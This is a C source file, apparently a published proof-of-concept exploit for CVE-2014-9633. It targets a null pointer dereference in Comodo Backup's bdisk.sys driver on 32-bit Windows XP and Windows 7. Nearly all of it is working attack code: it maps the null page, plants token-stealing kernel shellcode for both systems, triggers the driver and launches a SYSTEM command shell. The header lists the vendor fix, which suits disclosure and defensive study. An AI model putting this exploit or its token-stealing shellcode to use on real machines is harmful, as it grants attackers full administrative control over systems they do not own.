/*   Exploit Title    - Comodo Backup Null Pointer Dereference Privilege Escalation Date             - 23rd January 2015 Discovered by    - Parvez Anwar (@parvezghh) Vendor Homepage  - https://www.comodo.com Tested Version   - 4.4.0.0 Driver Version   - 1.0.0.957 - bdisk.sys Tested on OS     - 32bit Windows XP SP3 and Windows 7 SP1 OSVDB            - http://www.osvdb.org/show/osvdb/112828 CVE ID           - CVE-2014-9633 Vendor fix url   - http://forums.comodo.com/news-announcements-feedback-cb/comodo-backup-44123-released-t107293.0.html Fixed version    - 4.4.1.23  Fixed Driver Ver - 1.0.0.972       Note ---- Does not cleanly exit, had to use some leave instructions to get the command prompt. If you know of a better way please do let me know.   Below in from Windows XP in IofCallDriver function.   eax = 12h   804e37fe 8b7108          mov     esi,dword ptr [ecx+8]  <- control the null page as ecx = 00000000 804e3801 52              push    edx 804e3802 51              push    ecx 804e3803 ff548638        call    dword ptr [esi+eax*4+38h] ds:0023:00000080=00000090 804e3807 5e              pop     esi 804e3808 c3              ret     esi + eax*4 + 38h = 0 + 48 + 38 = 80h if ESI is null     */    #include <stdio.h> #include <windows.h>   #define BUFSIZE 4096     typedef NTSTATUS (WINAPI *_NtAllocateVirtualMemory)(      IN HANDLE ProcessHandle,      IN OUT PVOID *BaseAddress,      IN ULONG ZeroBits,      IN OUT PULONG RegionSize,      IN ULONG AllocationType,      IN ULONG Protect);     // Windows XP SP3   #define XP_KPROCESS 0x44      // Offset to _KPROCESS from a _ETHREAD struct #define XP_TOKEN    0xc8      // Offset to TOKEN from the _EPROCESS struct #define XP_UPID     0x84      // Offset to UniqueProcessId FROM the _EPROCESS struct #define XP_APLINKS  0x88      // Offset to ActiveProcessLinks _EPROCESS struct   // Windows 7 SP1   #define W7_KPROCESS 0x50      // Offset to _KPROCESS from a _ETHREAD struct #define W7_TOKEN    0xf8      // Offset to TOKEN from the _EPROCESS struct #define W7_UPID     0xb4      // Offset to UniqueProcessId FROM the _EPROCESS struct #define W7_APLINKS  0xb8      // Offset to ActiveProcessLinks _EPROCESS struct       BYTE token_steal_xp[] = {   0x52,                                    // push edx                       Save edx on the stack   0x53,                                    // push ebx                       Save ebx on the stack   0x33,0xc0,                                   // xor eax, eax                   eax = 0   0x64,0x8b,0x80,0x24,0x01,0x00,0x00,                  // mov eax, fs:[eax+124h]         Retrieve ETHREAD   0x8b,0x40,XP_KPROCESS,                                   // mov eax, [eax+XP_KPROCESS]     Retrieve _KPROCESS   0x8b,0xc8,                                   // mov ecx, eax   0x8b,0x98,XP_TOKEN,0x00,0x00,0x00,                   // mov ebx, [eax+XP_TOKEN]        Retrieves TOKEN   0x8b,0x80,XP_APLINKS,0x00,0x00,0x00,                 // mov eax, [eax+XP_APLINKS] <-|  Retrieve FLINK from ActiveProcessLinks   0x81,0xe8,XP_APLINKS,0x00,0x00,0x00,                 // sub eax, XP_APLINKS         |  Retrieve _EPROCESS Pointer from the ActiveProcessLinks   0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,    // cmp [eax+XP_UPID], 4        |  Compares UniqueProcessId with 4 (System Process)   0x75,0xe8,                                   // jne                     ----    0x8b,0x90,XP_TOKEN,0x00,0x00,0x00,                   // mov edx, [eax+XP_TOKEN]        Retrieves TOKEN and stores on EDX   0x8b,0xc1,                                       // mov eax, ecx                   Retrieves KPROCESS stored on ECX   0x89,0x90,XP_TOKEN,0x00,0x00,0x00,                   // mov [eax+XP_TOKEN], edx        Overwrites the TOKEN for the current KPROCESS   0x5b,                                    // pop ebx                        Restores ebx   0x5a,                                                    // pop edx                        Restores edx   0xc9,                                                    // leave   0xc9,                                                    // leave   0xc9,                                                    // leave   0xc9,                                                    // leave   0xc3                                                     // ret  };       BYTE token_steal_w7[] = {   0x52,                                    // push edx                       Save edx on the stack   0x53,                                    // push ebx                       Save ebx on the stack   0x33,0xc0,                                   // xor eax, eax                   eax = 0   0x64,0x8b,0x80,0x24,0x01,0x00,0x00,                  // mov eax, fs:[eax+124h]         Retrieve ETHREAD   0x8b,0x40,W7_KPROCESS,                                   // mov eax, [eax+W7_KPROCESS]     Retrieve _KPROCESS   0x8b,0xc8,                                   // mov ecx, eax   0x8b,0x98,W7_TOKEN,0x00,0x00,0x00,                   // mov ebx, [eax+W7_TOKEN]        Retrieves TOKEN   0x8b,0x80,W7_APLINKS,0x00,0x00,0x00,                 // mov eax, [eax+W7_APLINKS] <-|  Retrieve FLINK from ActiveProcessLinks   0x81,0xe8,W7_APLINKS,0x00,0x00,0x00,                 // sub eax, W7_APLINKS         |  Retrieve _EPROCESS Pointer from the ActiveProcessLinks   0x81,0xb8,W7_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,    // cmp [eax+W7_UPID], 4        |  Compares UniqueProcessId with 4 (System Process)   0x75,0xe8,                                   // jne                     ----    0x8b,0x90,W7_TOKEN,0x00,0x00,0x00,                   // mov edx, [eax+W7_TOKEN]        Retrieves TOKEN and stores on EDX   0x8b,0xc1,                                       // mov eax, ecx                   Retrieves KPROCESS stored on ECX   0x89,0x90,W7_TOKEN,0x00,0x00,0x00,                   // mov [eax+W7_TOKEN], edx        Overwrites the TOKEN for the current KPROCESS   0x5b,                                    // pop ebx                        Restores ebx   0x5a,                                                    // pop edx                        Restores edx   0xc9,                                                    // leave   0xc9,                                                    // leave   0xc9,                                                    // leave   0xc9,                                                    // leave   0xc3                                                 // ret  };       BYTE ESInull[] = "\x00\x00\x00\x00";           BYTE RETaddr[] = "\x90\x00\x00\x00";               int GetWindowsVersion() {     int v = 0;     DWORD version = 0, minVersion = 0, majVersion = 0;       version = GetVersion();       minVersion = (DWORD)(HIBYTE(LOWORD(version)));     majVersion = (DWORD)(LOBYTE(LOWORD(version)));       if (minVersion == 1 && majVersion == 5) v = 1;  // "Windows XP;     if (minVersion == 1 && majVersion == 6) v = 2;  // "Windows 7";       return v; }     void spawnShell() {     STARTUPINFOA si;     PROCESS_INFORMATION pi;         ZeroMemory(&pi, sizeof(pi));     ZeroMemory(&si, sizeof(si));     si.cb = sizeof(si);       si.cb          = sizeof(si);      si.dwFlags     = STARTF_USESHOWWINDOW;     si.wShowWindow = SW_SHOWNORMAL;       if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))     {        printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError());        return;     }       CloseHandle(pi.hThread);     CloseHandle(pi.hProcess); }       int main(int argc, char *argv[])  {       _NtAllocateVirtualMemory    NtAllocateVirtualMemory;     NTSTATUS                    allocstatus;     LPVOID                      base_addr = (LPVOID)0x00000001;                          DWORD                       written;     int                         rwresult;     int                         size = BUFSIZE;      HANDLE                      hDevice;     unsigned char               buffer[BUFSIZE];         unsigned char               devhandle[MAX_PATH];          printf("-------------------------------------------------------------------------------\n");     printf("      COMODO Backup (bdisk.sys) Null Pointer Dereference EoP Exploit           \n");     printf("            Tested on Windows XP SP3/Windows 7 SP1 (32bit)                     \n");     printf("-------------------------------------------------------------------------------\n\n");         sprintf(devhandle, "\\\\.\\%s", "bdisk");       NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtAllocateVirtualMemory");           if (!NtAllocateVirtualMemory)     {         printf("[-] Unable to resolve NtAllocateVirtualMemory\n");         return -1;       }       printf("[+] NtAllocateVirtualMemory [0x%p]\n", NtAllocateVirtualMemory);     printf("[+] Allocating memory at [0x%p]\n", base_addr);            allocstatus = NtAllocateVirtualMemory(INVALID_HANDLE_VALUE, &base_addr, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);       if (allocstatus)      {         printf("[-] An error occured while mapping executable memory. Status = 0x%08x\n", allocstatus);         printf("Error : %d\n", GetLastError());         return -1;     }     printf("[+] NtAllocateVirtualMemory successful\n");       memset(buffer, 0x90, BUFSIZE);     memcpy(buffer+0x00000007, ESInull, sizeof(ESInull)-1);     memcpy(buffer+0x0000007f, RETaddr, sizeof(RETaddr)-1);       if (GetWindowsVersion() == 1)      {         printf("[i] Running Windows XP\n");         memcpy(buffer+0x00000100, token_steal_xp, sizeof(token_steal_xp));         printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp));     }     else if (GetWindowsVersion() == 2)      {         printf("[i] Running Windows 7\n");         memcpy(buffer+0x00000100, token_steal_w7, sizeof(token_steal_w7));         printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_w7));     }     else if (GetWindowsVersion() == 0)      {         printf("[i] Exploit not supported on this OS\n\n");         return -1;     }         rwresult = WriteProcessMemory(INVALID_HANDLE_VALUE, (LPVOID)0x00000001, buffer, BUFSIZE, &written);       if (rwresult == 0)     {         printf("[-] An error occured while mapping writing memory: %d\n", GetLastError());         return -1;     }     printf("[+] WriteProcessMemory %d bytes written\n", written);             printf("[~] Press any key to Exploit . . .\n");     getch();           hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);           if (hDevice == INVALID_HANDLE_VALUE)     {         printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError());         return -1;     }     else     {         printf("[+] Open %s device successful\n", devhandle);     }       CloseHandle(hDevice);       printf("[+] Spawning SYSTEM Shell\n");     spawnShell();       return 0; }